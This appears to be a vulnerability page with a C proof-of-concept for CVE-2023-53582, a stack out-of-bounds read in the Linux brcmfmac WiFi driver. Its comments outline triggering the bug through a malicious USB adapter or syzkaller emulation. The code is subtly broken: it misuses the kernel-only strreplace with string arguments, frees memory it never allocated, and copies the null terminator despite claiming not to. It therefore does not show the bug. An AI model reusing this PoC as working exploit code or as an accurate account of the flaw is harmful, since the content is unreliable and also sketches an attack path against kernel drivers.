CVE-2023-53582 Linux内核brcmfmac驱动栈越界读取漏洞

// CVE-2023-53582 PoC - Trigger stack-out-of-bounds in brcmfmac via syzkaller // This PoC demonstrates how to trigger the vulnerability using a modified syzkaller #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> // Simulate the vulnerable code path in brcmf_c_preinit_dcmds() // The vulnerability occurs when strreplace() is called on a non-null-terminated buffer void trigger_vulnerability() { char buf[128]; // Simulate brcmf_fil_iovar_data_get() filling buf with CLM version via memcpy // without null-termination - this is the root cause char fake_clm_version[] = "5.90.188.22"; // CLM version string from firmware memcpy(buf, fake_clm_version, sizeof(fake_clm_version)); // No null terminator added! // Now simulate strreplace() being called on the non-null-terminated buffer // This will read beyond buf's bounds looking for the null terminator printf("Attempting strreplace on non-null-terminated buffer...\n"); // The actual strreplace function in kernel will read out of bounds // KASAN would report: BUG: KASAN: stack-out-of-bounds in strreplace+0xf2/0x110 char *result = strreplace(buf, ".", "_"); // This triggers OOB read if (result) { printf("Result: %s\n", result); free(result); } } // To trigger in real environment: // 1. Load brcmfmac kernel module // 2. Insert a USB WiFi device with malicious firmware response // 3. The driver will call brcmf_fil_iovar_data_get() to get CLM version // 4. memcpy fills buf without null-termination // 5. brcmf_c_preinit_dcmds() calls strreplace() on the buffer // 6. KASAN detects stack-out-of-bounds read int main(int argc, char *argv[]) { printf("CVE-2023-53582 PoC - brcmfmac stack-out-of-bounds\n"); printf("Requires: Linux kernel with brcmfmac driver loaded\n"); printf("Trigger: Insert malicious USB WiFi adapter or use syzkaller repro\n\n"); // Userspace simulation of the kernel bug trigger_vulnerability(); return 0; } /* * Real-world trigger via syzkaller: * - Use a modified syzkaller with USB device emulation * - Emulate a Broadcom USB WiFi adapter * - Respond to firmware queries with crafted CLM version data * - The non-null-terminated response triggers the vulnerability * * Kernel log output when triggered: * [ 33.022379][ T1896] BUG: KASAN: stack-out-of-bounds in strreplace+0xf2/0x110 * [ 33.023122][ T1896] Read of size 1 at addr ffffc90001d6efc8 by task kworker/0:2/1896 */